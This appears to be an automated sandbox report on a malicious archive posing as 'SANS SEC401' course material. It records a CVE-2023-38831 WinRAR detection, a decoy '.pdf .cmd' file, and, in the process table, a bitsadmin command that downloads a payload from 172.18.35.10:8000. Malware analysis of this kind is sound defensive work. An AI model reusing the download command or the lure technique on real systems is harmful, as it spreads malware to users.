| File name: | SANS SEC401.rar |
| Full analysis: | https://app.any.run/tasks/fe007c98-c464-48dd-9c6b-867983eee22d |
| Verdict: | Malicious activity |
| Analysis date: | February 19, 2024, 09:05:02 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/zip |
| File info: | Zip archive data, at least v2.0 to extract, compression method=store |
| MD5: | 1FBD3CA9FCFEA5AAC390EA38FF818CC9 |
| SHA1: | 04BB53BD8A264BE0B3EA10FFA1945EB6F5ECDA93 |
| SHA256: | D1A55BB98B750CE9B9D9610A857DDC408331B6AE6834C1CBCCCA4FD1C50C4FB8 |
| SSDEEP: | 768:tDUX2OpRDnVoegESWJDg8LUud1LRqh1cC8v3GIEBK8:t0DHDnVoe1SsDuh103YBf |
MALICIOUS
Downloads files via BITSADMIN.EXE
- cmd.exe (PID: 3952)
CVE-2023-38831 is detected
- WinRAR.exe (PID: 3672)
SUSPICIOUS
Reads security settings of Internet Explorer
- WinRAR.exe (PID: 3672)
Starts CMD.EXE for commands execution
- WinRAR.exe (PID: 3672)
Executing commands from ".cmd" file
- WinRAR.exe (PID: 3672)
INFO
Checks supported languages
- wmpnscfg.exe (PID: 3416)
Manual execution by a user
- wmpnscfg.exe (PID: 3416)
- explorer.exe (PID: 3488)
Reads the computer name
- wmpnscfg.exe (PID: 3416)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .zip | | | ZIP compressed archive (100) |
|---|
EXIF
ZIP
| ZipRequiredVersion: | 20 |
|---|---|
| ZipBitFlag: | - |
| ZipCompression: | None |
| ZipModifyDate: | 2024:02:03 09:11:32 |
| ZipCRC: | 0x00000000 |
| ZipCompressedSize: | - |
| ZipUncompressedSize: | - |
| ZipFileName: | SANS SEC401.pdf / |
Total processes
54
Monitored processes
6
Malicious processes
1
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 448 | C:\Windows\system32\DllHost.exe /Processid:{4D111E08-CBF7-4F12-A926-2C7920AF52FC} | C:\Windows\System32\dllhost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: COM Surrogate Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3416 | "C:\Program Files\Windows Media Player\wmpnscfg.exe" | C:\Program Files\Windows Media Player\wmpnscfg.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Media Player Network Sharing Service Configuration Application Exit code: 0 Version: 12.0.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3488 | "C:\Windows\explorer.exe" | C:\Windows\explorer.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3672 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\SANS SEC401.rar.zip" | C:\Program Files\WinRAR\WinRAR.exe | explorer.exe | ||||||||||||
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.91.0 Modules
| |||||||||||||||
| 3736 | bitsadmin /transfer Nothing /download /priority normal http://172.18.35.10:8000/amanwhogetsnorest.jpg C:\Windows\Temp\amanwhogetsnorest.jpg | C:\Windows\System32\bitsadmin.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: BITS administration utility Exit code: 0 Version: 7.5.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3952 | C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\Rar$DIa3672.962\SANS SEC401.pdf .cmd" " | C:\Windows\System32\cmd.exe | — | WinRAR.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
3 759
Read events
3 740
Write events
19
Delete events
0
Modification events
| (PID) Process: | (3672) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtBMP |
Value: | |||
| (PID) Process: | (3672) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes |
| Operation: | write | Name: | ShellExtIcon |
Value: | |||
| (PID) Process: | (3672) WinRAR.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (3672) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 3 |
Value: C:\Users\admin\Desktop\phacker.zip | |||
| (PID) Process: | (3672) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 2 |
Value: C:\Users\admin\Desktop\Win7-KB3191566-x86.zip | |||
| (PID) Process: | (3672) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 1 |
Value: C:\Users\admin\Desktop\curl-8.5.0_1-win32-mingw.zip | |||
| (PID) Process: | (3672) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\ArcHistory |
| Operation: | write | Name: | 0 |
Value: C:\Users\admin\AppData\Local\Temp\SANS SEC401.rar.zip | |||
| (PID) Process: | (3672) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | name |
Value: 120 | |||
| (PID) Process: | (3672) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | size |
Value: 80 | |||
| (PID) Process: | (3672) WinRAR.exe | Key: | HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths |
| Operation: | write | Name: | type |
Value: 120 | |||
Executable files
0
Suspicious files
1
Text files
1
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3672 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa3672.962\SANS SEC401.pdf .cmd | text | |
MD5:74900DD2A29CD5EEBCC259F0265C8425 | SHA256:5790225B1BCFA692C57A0914DD78678CEEF6E212FBE7042B7DDF5A06FD4AB70D | |||
| 3672 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DIa3672.962\SANS SEC401.pdf | ||
MD5:60CCE380DA0C5D26C70C4917C06FA60F | SHA256:BF76B9992DEF63B87CD3880487624F07D60EE0FC9003FE29A73A9AD3632C6AC4 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
7
DNS requests
0
Threats
0
HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
1080 | svchost.exe | 224.0.0.252:5355 | — | — | — | unknown |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
2852 | svchost.exe | 239.255.255.250:1900 | — | — | — | unknown |
856 | svchost.exe | 172.18.35.10:8000 | — | — | — | unknown |